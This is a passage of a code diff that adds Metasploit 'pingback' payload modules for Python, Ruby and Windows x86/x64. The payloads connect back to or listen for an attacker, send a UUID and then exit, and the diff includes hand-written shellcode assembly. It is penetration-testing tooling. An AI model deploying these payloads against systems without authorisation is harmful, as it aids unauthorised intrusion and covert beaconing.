||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Pingback, Bind TCP (via python)',
|
||||||
|
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
|
||||||
|
'Author' => 'asoto-r7',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'python'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
super.to_s + command_string
|
||||||
|
end
|
||||||
|
def command_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
cmd = <<~PYTHON
|
||||||
|
import binascii as b
|
||||||
|
import socket as s
|
||||||
|
o=s.socket(s.AF_INET,s.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
|
||||||
|
o.bind(('0.0.0.0', #{ datastore['LPORT']}))
|
||||||
|
o.listen(1)
|
||||||
|
o,addr=o.accept()
|
||||||
|
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
|
||||||
|
o.close()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
PYTHON
|
||||||
|
end
|
||||||
|
end
|
47
modules/payloads/singles/python/pingback_reverse_tcp.rb
Normal file
47
modules/payloads/singles/python/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/core/payload/python'
|
||||||
|
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 193
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Pingback, Reverse TCP (via python)',
|
||||||
|
'Description' => 'Connects back to the attacker, sends a UUID, then terminates',
|
||||||
|
'Author' => 'asoto-r7',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'python'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
super.to_s + command_string
|
||||||
|
end
|
||||||
|
|
||||||
|
def command_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
cmd = <<~PYTHON
|
||||||
|
import binascii as b
|
||||||
|
import socket as s
|
||||||
|
o=s.socket(s.AF_INET,s.SOCK_STREAM)
|
||||||
|
try:
|
||||||
|
o.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
|
||||||
|
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
|
||||||
|
o.close()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
PYTHON
|
||||||
|
end
|
||||||
|
end
|
46
modules/payloads/singles/ruby/pingback_bind_tcp.rb
Normal file
46
modules/payloads/singles/ruby/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
require 'msf/core/payload/ruby'
|
||||||
|
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 103
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Ruby
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Ruby Pingback, Bind TCP',
|
||||||
|
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
|
||||||
|
'Author' => 'asoto-r7',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'ruby',
|
||||||
|
'Arch' => ARCH_RUBY,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'ruby'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
#return prepends(ruby_string)
|
||||||
|
return ruby_string
|
||||||
|
end
|
||||||
|
|
||||||
|
def ruby_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
return "require'socket';" \
|
||||||
|
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
|
||||||
|
"c=s.accept;"\
|
||||||
|
"s.close;"\
|
||||||
|
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
|
||||||
|
"c.close"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
44
modules/payloads/singles/ruby/pingback_reverse_tcp.rb
Normal file
44
modules/payloads/singles/ruby/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,44 @@
|
|||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/core/payload/ruby'
|
||||||
|
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 100
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Ruby
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Ruby Pingback, Reverse TCP',
|
||||||
|
'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
|
||||||
|
'Author' => 'asoto-r7',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'ruby',
|
||||||
|
'Arch' => ARCH_RUBY,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback,
|
||||||
|
'PayloadType' => 'ruby'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
# return prepends(ruby_string)
|
||||||
|
return ruby_string
|
||||||
|
end
|
||||||
|
|
||||||
|
def ruby_string
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
lhost = datastore['LHOST']
|
||||||
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||||
|
return "require'socket';" \
|
||||||
|
"c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
|
||||||
|
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
|
||||||
|
"c.close"
|
||||||
|
end
|
||||||
|
end
|
146
modules/payloads/singles/windows/pingback_bind_tcp.rb
Normal file
146
modules/payloads/singles/windows/pingback_bind_tcp.rb
Normal file
@ -0,0 +1,146 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
require 'msf/core/payload/windows/block_api'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 301
|
||||||
|
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Windows::BlockApi
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
|
||||||
|
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
|
||||||
|
'Author' => [ 'bwatters-r7' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback
|
||||||
|
))
|
||||||
|
|
||||||
|
def generate_stage
|
||||||
|
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
|
||||||
|
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||||
|
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||||
|
addr_fam = 2
|
||||||
|
sockaddr_size = 16
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
#{asm_block_api}
|
||||||
|
start:
|
||||||
|
pop ebp
|
||||||
|
; Input: EBP must be the address of 'api_call'.
|
||||||
|
; Output: EDI will be the newly connected clients socket
|
||||||
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||||
|
|
||||||
|
bind_tcp:
|
||||||
|
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||||
|
push 0x5F327377 ; ...
|
||||||
|
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
|
call ebp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
|
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||||
|
sub esp, eax ; alloc some space for the WSAData structure
|
||||||
|
push esp ; push a pointer to this stuct
|
||||||
|
push eax ; push the wVersionRequested parameter
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||||
|
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||||
|
|
||||||
|
push 11
|
||||||
|
pop ecx
|
||||||
|
push_0_loop:
|
||||||
|
push eax ; if we succeed, eax will be zero, push it enough times
|
||||||
|
; to cater for both IPv4 and IPv6
|
||||||
|
loop push_0_loop
|
||||||
|
|
||||||
|
; push zero for the flags param [8]
|
||||||
|
; push null for reserved parameter [7]
|
||||||
|
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||||
|
; we do not specify a protocol [5]
|
||||||
|
push 1 ; push SOCK_STREAM
|
||||||
|
push #{addr_fam} ; push AF_INET/6
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||||
|
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
|
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||||
|
|
||||||
|
; bind to 0.0.0.0/[::], pushed earlier
|
||||||
|
|
||||||
|
push #{encoded_port} ; family AF_INET and port number
|
||||||
|
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||||
|
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
|
||||||
|
push esi ; pointer to the sockaddr_in struct
|
||||||
|
push edi ; socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
|
||||||
|
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||||
|
test eax,eax ; non-zero means a failure
|
||||||
|
jnz failure
|
||||||
|
; backlog, pushed earlier [3]
|
||||||
|
push edi ; socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
|
||||||
|
call ebp ; listen( s, 0 );
|
||||||
|
|
||||||
|
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||||
|
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||||
|
push edi ; listening socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
|
||||||
|
call ebp ; accept( s, 0, 0 );
|
||||||
|
|
||||||
|
push edi ; push the listening socket
|
||||||
|
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call ebp ; closesocket( s );
|
||||||
|
|
||||||
|
send_pingback:
|
||||||
|
push 0 ; flags
|
||||||
|
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||||
|
call get_pingback_address ; put pingback_uuid buffer on the stack
|
||||||
|
db #{uuid_as_db} ; PINGBACK_UUID
|
||||||
|
get_pingback_address:
|
||||||
|
push edi ; saved socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||||
|
call ebp ; call send
|
||||||
|
|
||||||
|
push edi ; push the listening socket
|
||||||
|
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call ebp ; closesocket( s );
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
; decrement our attempt count and try again
|
||||||
|
dec dword [esi+8]
|
||||||
|
jnz failure
|
||||||
|
|
||||||
|
cleanup_socket:
|
||||||
|
; clear up the socket
|
||||||
|
push edi ; socket handle
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call ebp ; closesocket(socket)
|
||||||
|
|
||||||
|
failure:
|
||||||
|
exitfunk:
|
||||||
|
mov ebx, 0x56a2b5f0
|
||||||
|
push.i8 0 ; push the exit function parameter
|
||||||
|
push ebx ; push the hash of the exit function
|
||||||
|
call ebp ; ExitProcess(0)
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
151
modules/payloads/singles/windows/pingback_reverse_tcp.rb
Normal file
151
modules/payloads/singles/windows/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,151 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/core/payload/windows/block_api'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 292
|
||||||
|
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Windows::BlockApi
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
|
||||||
|
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
|
||||||
|
'Author' => [ 'bwatters-r7' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback
|
||||||
|
))
|
||||||
|
|
||||||
|
def generate_stage
|
||||||
|
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
|
||||||
|
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
|
||||||
|
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||||
|
pingback_count = datastore['PingbackRetries']
|
||||||
|
pingback_sleep = datastore['PingbackSleep']
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
#{asm_block_api}
|
||||||
|
start:
|
||||||
|
pop ebp
|
||||||
|
; Input: EBP must be the address of 'api_call'.
|
||||||
|
; Output: EDI will be the socket for the connection to the server
|
||||||
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||||
|
reverse_tcp:
|
||||||
|
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||||
|
push 'ws2_' ; ...
|
||||||
|
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
|
mov eax, ebp
|
||||||
|
call eax ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
|
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||||
|
sub esp, eax ; alloc some space for the WSAData structure
|
||||||
|
push esp ; push a pointer to this stuct
|
||||||
|
push eax ; push the wVersionRequested parameter
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||||
|
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||||
|
|
||||||
|
set_address:
|
||||||
|
push #{pingback_count} ; retry counter
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
push #{encoded_host} ; host in little-endian format
|
||||||
|
push #{encoded_port} ; family AF_INET and port number
|
||||||
|
mov esi, esp ; save pointer to sockaddr struct
|
||||||
|
|
||||||
|
create_socket:
|
||||||
|
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||||
|
push eax ; push null for reserved parameter
|
||||||
|
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||||
|
push eax ; we do not specify a protocol
|
||||||
|
inc eax ;
|
||||||
|
push eax ; push SOCK_STREAM
|
||||||
|
inc eax ;
|
||||||
|
push eax ; push AF_INET
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||||
|
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
|
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||||
|
|
||||||
|
try_connect:
|
||||||
|
push 16 ; length of the sockaddr struct
|
||||||
|
push esi ; pointer to the sockaddr struct
|
||||||
|
push edi ; the socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||||
|
call ebp ; connect( s, &sockaddr, 16 );
|
||||||
|
|
||||||
|
test eax,eax ; non-zero means a failure
|
||||||
|
jz connected
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
; decrement our attempt count and try again
|
||||||
|
dec dword [esi+8]
|
||||||
|
jnz try_connect
|
||||||
|
failure:
|
||||||
|
call exitfunk
|
||||||
|
; this lable is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
|
connected:
|
||||||
|
send_pingback:
|
||||||
|
push 0 ; flags
|
||||||
|
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||||
|
call get_pingback_address ; put pingback_uuid buffer on the stack
|
||||||
|
db #{uuid_as_db} ; PINGBACK_UUID
|
||||||
|
get_pingback_address:
|
||||||
|
push edi ; saved socket
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||||
|
call ebp ; call send
|
||||||
|
|
||||||
|
cleanup_socket:
|
||||||
|
; clear up the socket
|
||||||
|
push edi ; socket handle
|
||||||
|
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call ebp ; closesocket(socket)
|
||||||
|
^
|
||||||
|
if pingback_count > 0
|
||||||
|
asm << %Q^
|
||||||
|
mov eax, [esi+12]
|
||||||
|
test eax, eax ; pingback counter
|
||||||
|
jz exitfunk
|
||||||
|
dec [esi+12]
|
||||||
|
sleep:
|
||||||
|
push #{(pingback_sleep * 1000)}
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||||
|
call ebp ;sleep(pingback_sleep * 1000)
|
||||||
|
jmp create_socket
|
||||||
|
^
|
||||||
|
end
|
||||||
|
asm << %Q^
|
||||||
|
; restore the stack back to the connection retry count
|
||||||
|
pop esi
|
||||||
|
pop esi
|
||||||
|
dec [esi+8] ; decrement the retry counter
|
||||||
|
jmp exitfunk
|
||||||
|
; try again
|
||||||
|
jnz create_socket
|
||||||
|
jmp failure
|
||||||
|
exitfunk:
|
||||||
|
mov ebx, 0x56a2b5f0
|
||||||
|
push.i8 0 ; push the exit function parameter
|
||||||
|
push ebx ; push the hash of the exit function
|
||||||
|
call ebp ; ExitProcess(0)
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
255
modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
Normal file
255
modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
Normal file
@ -0,0 +1,255 @@
|
|||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/payload/pingback'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/pingback'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
|
||||||
|
CachedSize = 425
|
||||||
|
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Msf::Payload::Pingback
|
||||||
|
include Msf::Payload::Pingback::Options
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows x64 Pingback, Reverse TCP Inline',
|
||||||
|
'Description' => 'Connect back to attacker and report UUID (Windows x64)',
|
||||||
|
'Author' => [ 'bwatters-r7' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::Pingback
|
||||||
|
))
|
||||||
|
def generate_stage
|
||||||
|
# 22 -> "0x00,0x16"
|
||||||
|
# 4444 -> "0x11,0x5c"
|
||||||
|
encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first
|
||||||
|
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first
|
||||||
|
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||||
|
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
|
||||||
|
pingback_count = datastore['PingbackRetries']
|
||||||
|
pingback_sleep = datastore['PingbackSleep']
|
||||||
|
self.pingback_uuid ||= self.generate_pingback_uuid
|
||||||
|
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
|
||||||
|
api_call:
|
||||||
|
push r9 ; Save the 4th parameter
|
||||||
|
push r8 ; Save the 3rd parameter
|
||||||
|
push rdx ; Save the 2nd parameter
|
||||||
|
push rcx ; Save the 1st parameter
|
||||||
|
push rsi ; Save RSI
|
||||||
|
xor rdx, rdx ; Zero rdx
|
||||||
|
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
|
||||||
|
mov rdx, [rdx+24] ; Get PEB->Ldr
|
||||||
|
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
|
||||||
|
next_mod: ;
|
||||||
|
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
|
||||||
|
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
|
||||||
|
xor r9, r9 ; Clear r9 which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
xor rax, rax ; Clear rax
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
ror r9d, 13 ; Rotate right our hash value
|
||||||
|
add r9d, eax ; Add the next byte of the name
|
||||||
|
loop loop_modname ; Loop untill we have read enough
|
||||||
|
; We now have the module hash computed
|
||||||
|
push rdx ; Save the current position in the module list for later
|
||||||
|
push r9 ; Save the current module hash for later
|
||||||
|
; Proceed to itterate the export address table,
|
||||||
|
mov rdx, [rdx+32] ; Get this modules base address
|
||||||
|
mov eax, dword [rdx+60] ; Get PE header
|
||||||
|
add rax, rdx ; Add the modules base address
|
||||||
|
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
|
||||||
|
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
|
||||||
|
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
|
||||||
|
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
|
||||||
|
jne get_next_mod1 ; if not, proceed to the next module
|
||||||
|
mov eax, dword [rax+136] ; Get export tables RVA
|
||||||
|
test rax, rax ; Test if no export address table is present
|
||||||
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
|
add rax, rdx ; Add the modules base address
|
||||||
|
push rax ; Save the current modules EAT
|
||||||
|
mov ecx, dword [rax+24] ; Get the number of function names
|
||||||
|
mov r8d, dword [rax+32] ; Get the rva of the function names
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
get_next_func: ;
|
||||||
|
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
dec rcx ; Decrement the function name counter
|
||||||
|
mov esi, dword [r8+rcx*4]; Get rva of next module name
|
||||||
|
add rsi, rdx ; Add the modules base address
|
||||||
|
xor r9, r9 ; Clear r9 which will store the hash of the function name
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
xor rax, rax ; Clear rax
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
ror r9d, 13 ; Rotate right our hash value
|
||||||
|
add r9d, eax ; Add the next byte of the name
|
||||||
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
add r9, [rsp+8] ; Add the current module hash to the function hash
|
||||||
|
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
pop rax ; Restore the current modules EAT
|
||||||
|
mov r8d, dword [rax+36] ; Get the ordinal table rva
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
|
||||||
|
mov r8d, dword [rax+28] ; Get the function addresses table rva
|
||||||
|
add r8, rdx ; Add the modules base address
|
||||||
|
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
|
||||||
|
add rax, rdx ; Add the modules base address to get the functions actual VA
|
||||||
|
; We now fix up the stack and perform the call to the drsired function...
|
||||||
|
finish:
|
||||||
|
pop r8 ; Clear off the current modules hash
|
||||||
|
pop r8 ; Clear off the current position in the module list
|
||||||
|
pop rsi ; Restore RSI
|
||||||
|
pop rcx ; Restore the 1st parameter
|
||||||
|
pop rdx ; Restore the 2nd parameter
|
||||||
|
pop r8 ; Restore the 3rd parameter
|
||||||
|
pop r9 ; Restore the 4th parameter
|
||||||
|
pop r10 ; pop off the return address
|
||||||
|
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
||||||
|
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
||||||
|
push r10 ; push back the return address
|
||||||
|
jmp rax ; Jump into the required function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
get_next_mod: ;
|
||||||
|
pop rax ; Pop off the current (now the previous) modules EAT
|
||||||
|
get_next_mod1: ;
|
||||||
|
pop r9 ; Pop off the current (now the previous) modules hash
|
||||||
|
pop rdx ; Restore our position in the module list
|
||||||
|
mov rdx, [rdx] ; Get the next module
|
||||||
|
jmp next_mod ; Process this module
|
||||||
|
|
||||||
|
start:
|
||||||
|
pop rbp ; block API pointer
|
||||||
|
|
||||||
|
reverse_tcp:
|
||||||
|
; setup the structures we need on the stack...
|
||||||
|
mov r14, 'ws2_32'
|
||||||
|
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||||
|
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||||
|
sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||||
|
; structure (+8 for alignment)
|
||||||
|
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||||
|
mov r12, #{encoded_host_port}
|
||||||
|
push r12 ; host, family AF_INET and port
|
||||||
|
